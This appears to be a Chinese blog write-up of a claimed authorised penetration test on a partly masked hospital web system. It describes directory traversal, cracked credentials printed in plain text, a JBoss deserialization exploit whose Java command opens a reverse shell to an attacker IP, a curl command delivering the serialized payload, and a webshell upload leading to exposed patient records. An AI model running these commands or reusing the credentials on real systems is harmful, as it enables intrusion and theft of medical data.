点击蓝字
关注我们
目标:http://xxx.xx.xxx.xxx:9002/xxx/xxm/login.php
访问目标
此时此刻,拿出我们拿出好兄弟burp来抓包,看下响应包
尝试枚举,看能不能碰到狗屎运
跑中国人名字典,无结果,表示今天运气不行啊
废话不多说继续!!!
常规操作 ,对目标目录进行删减 ,发现了目录遍历的漏洞
http://xxx.xx.xxx.xx:9002/xxxying/
尝试能不能获取有用的信息
随意点击,爆出路径,为后面上传webshell 做铺垫
之后发现了数据库的文件
发现了两个账号
http://xxx.xx.xxx.xx:9002/xxxxxx/tdb.20xxx129.sql
还发现了两个账号
对密码进行解密
admin/12345678
coolfd/shj811004
获得两个账号 ,尝试登陆
发现两个账号不可用 ,可能是另外一个系统的吧
继续搞呗
找到一个网站
http://www.xxxxxxx.cc/index.html
试试有没有后台
http://www.xxxxxxx.cc/admin/login.php#
http://www.xxxxx.com/
http://www.xxxxxxx.com/admin/login.php#
尝试登陆后台 ,发现coolfd账号可用
登陆后台了
尝试找上传点
上传多次无果
/mxxxxtor/atxxxxd/image/20xxx923/20140xxxx11623_39094.jpg
多处
没有写权限
多处上传失败
只能搞ip
对目标ip进行端口扫描
逐个访问,发现了jboss
http://xxx.xx.xxx.xx:9080/
想到jboss 反序列化漏洞
在网上找了反序列化的exp
将payload生成好了,直接使用
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 182.92.*.*7777
监听端口
curl http://xxx.xx.x.xx:9080/ixxxxx/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
向目标路径/invoker/readonly
即可拿到目标的最高权限
找到网站路径
发现了PHPinfo探针
http://xxx.xx.xxx.xx:9002/phpinfo.php
好像无法使用下载命令
Curl wget
只能用打包好的工具上传webshell了
6哥工具执行好像乱码了
只好上传冰蝎木马上去
知道路径 直接上传
为了便于管理,上传一个webshell
在文件管理看到了数据库文件
发现了账号和密码
解密成功,后台登陆成功
看起来是医院的系统
个人病例信息大量泄露
http://xxx.xx.x.xx:9002/zhxxxxg/rxxpg/35735xxxxx80%94369773.jpg
部分报告单泄露
为了安全起见,将木马已经删除了
似乎存在域环境
可惜自己菜,未敢深入
到这里就结束了,授权项目,如有打码不规范,请勿私自渗透,违者后果自负
喜欢的表哥点个关注+再看呗